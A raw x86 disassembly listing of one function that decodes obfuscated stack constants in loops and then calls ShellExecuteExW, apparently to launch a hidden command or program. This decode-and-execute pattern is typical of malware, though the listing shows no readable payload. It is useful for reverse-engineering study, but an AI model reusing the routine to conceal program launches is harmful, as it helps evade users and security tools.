push 0x1e
pop edi
push 0x6b64
push eax
lea eax, [esp + 0x494]
mov edx, 0x7af
push eax
push 0xcff
push 0x2aa8
push 0x577
push 0x98f
mov ecx, 0x169a
call fcn.0041ae12
mov esi, dword [esp + 0x4a8]
add esp, 0x1c
jmp 0x419b07
movzx eax, byte [esp + esi + 0x279]
mov edx, 0x1f15
sub eax, esi
dec eax
add eax, edi
push 1
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push ecx
push eax
call fcn.0041ae44
movzx ecx, byte [esp + esi + 0x284]
add esp, 0xc
mov ax, word [esp + 0x18]
mov word [esp + ecx*2 + 0x848], ax
add esi, 2
mov dword [esp + 0x48c], esi
push 0
pop eax
cmp esi, 0x66
jb 0x419a87
push 0x18
pop ecx
mov byte [esp + 0x352], cl
mov esi, eax
mov ecx, eax
mov word [esp + 0x890], ax
mov dword [esp + 0x2e0], 0x6605713d
mov dword [esp + 0x2e4], 0x802f3226
mov dword [esp + 0x2e8], 0x5e2d7820
mov dword [esp + 0x2ec], 0x77127231
mov dword [esp + 0x2f0], 0x86247536
mov dword [esp + 0x2f4], 0x8b2e7a37
mov dword [esp + 0x2f8], 0x8b1e8606
mov dword [esp + 0x2fc], 0x82218243
mov dword [esp + 0x300], 0x864b4100
mov dword [esp + 0x304], 0x9a23974a
mov dword [esp + 0x308], 0x923a9b10
mov dword [esp + 0x30c], 0xa11f4f04
mov dword [esp + 0x310], 0xa740921a
mov dword [esp + 0x314], 0x9c45574d
mov dword [esp + 0x318], 0xa434a849
mov dword [esp + 0x31c], 0xad38ab29
mov dword [esp + 0x320], 0xb20db51c
mov dword [esp + 0x324], 0xab07880a
mov dword [esp + 0x328], 0xb730b228
mov dword [esp + 0x32c], 0xc11b6d25
mov dword [esp + 0x330], 0xaa27710b
mov dword [esp + 0x334], 0xc62bc811
mov dword [esp + 0x338], 0xc0137932
mov dword [esp + 0x33c], 0xc03fd42c
mov dword [esp + 0x340], 0xc841c535
mov dword [esp + 0x344], 0xd315ca0f
mov dword [esp + 0x348], 0xce02dd19
mov dword [esp + 0x34c], 0x8f16e40e
mov word [esp + 0x350], 0x9146
mov dword [esp + 0x353], 0x8e53be6
mov dword [esp + 0x357], 0x1993997
mov dword [esp + 0x35b], 0xc551daa
mov dword [esp + 0x35f], 0xa539f092
mov dword [esp + 0x363], 0xe503db3b
mov dword [esp + 0x367], 0xdbf3eee2
mov dword [esp + 0x36b], 0x2cc245ed
mov dword [esp + 0x36f], 0x58364ffd
mov dword [esp + 0x373], 0x3ef53020
mov dword [esp + 0x377], 0xe12a6349
mov dword [esp + 0x37b], 0xe748ae47
mov dword [esp + 0x37f], 0xa517b209
mov dword [esp + 0x383], 0xf514ff44
mov dword [esp + 0x387], 0xba1df04c
mov dword [esp + 0x38b], 0xf53eaf03
mov dword [esp + 0x38f], 0xa3cdb33
mov dword [esp + 0x393], 0xfe22070c
mov word [esp + 0x397], 0xc942
mov dword [esp + 0x49c], ecx
cmp ecx, 0x7c
jne 0x419d6b
push 0x1d
pop esi
push ecx
push ecx
push 0x5b10
push 0x1bbe
lea edx, [esp + 0x4ac]
xor cl, cl
call fcn.0041ae69
mov ecx, dword [esp + 0x4ac]
add esp, 0x10
jmp 0x419d9e
movzx eax, byte [esp + ecx + 0x2e1]
lea edx, [esi - 1]
sub eax, ecx
add edx, eax
jns 0x419d8e
or eax, 0xffffffff
sub eax, edx
add edx, 0x100
and eax, 0xffffff00
add edx, eax
movzx eax, byte [esp + ecx + 0x2e0]
mov word [esp + eax*2 + 0x8e8], dx
add ecx, 2
mov dword [esp + 0x49c], ecx
cmp ecx, 0xb9
jb 0x419d3d
xor eax, eax
mov word [esp + 0x984], ax
call fcn.00460437
xor edx, edx
lea ecx, [esp + 0x778]
div ebx
lea eax, [esp + 0x8e8]
push eax
mov esi, edx
call fcn.0041b9ed
push eax
imul eax, esi, 0x18
lea ecx, [esp + 0x7f4]
add eax, dword [esp + 0x4b4]
push eax
lea eax, [esp + 0x850]
push eax
call fcn.0041b9ed
mov edx, eax
lea ecx, [esp + 0x7c8]
call fcn.0041bb68
pop ecx
mov edx, eax
lea ecx, [esp + 0x764]
call fcn.0041bb97
push ecx
push eax
lea ecx, [esp + 0x4e8]
call fcn.0041badf
xor esi, esi
lea ecx, [esp + 0x760]
xor ebx, ebx
push esi
inc ebx
push ebx
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x7c8]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x7f8]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x780]
call fcn.00416c0c
push 0x12
pop ecx
xor eax, eax
mov dword [esp + 0x6f4], 0x3c
lea edi, [esp + 0x848]
rep stosd dword es:[edi], eax
push 0x27
pop ecx
lea edx, [esp + 0x6f4]
stosw word es:[edi], ax
xor eax, eax
lea edi, [esp + 0x8e8]
rep stosd dword es:[edi], eax
mov cl, bl
stosw word es:[edi], ax
xor eax, eax
push eax
push 0x74d0
mov dword [esp + 0x700], eax
mov dword [esp + 0x704], eax
mov dword [esp + 0x708], eax
lea eax, [esp + 0x4fc]
push eax
push 0x28bd
push ebx
push 0x3c2b
call fcn.00418438
add esp, 0x10
lea eax, [esp + 0x6fc]
mov edx, 0xedd
push eax
lea eax, [esp + 0x4e8]
push eax
mov cl, bl
call fcn.0041ae69
xor eax, eax
add esp, 0x10
mov dword [esp + 0x70c], eax
mov dword [esp + 0x710], eax
mov dword [esp + 0x714], eax
lea eax, [esp + 0x6f4]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
push ebx
lea ecx, [esp + 0x4e4]
call fcn.00416c0c
push esi
push ebx
lea ecx, [esp + 0x4fc]
call fcn.00416c0c
lea ecx, [esp + 0x4b0]
call fcn.0041ba12
lea ecx, [esp + 0x4c8]
call fcn.0041ba12
jmp 0x419f59
mov ecx, dword [ebp + 0x10]
mov eax, dword [ecx]
test eax, eax
jns 0x419f59
add eax, 0x100
js 0x419f50
mov dword [ecx], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret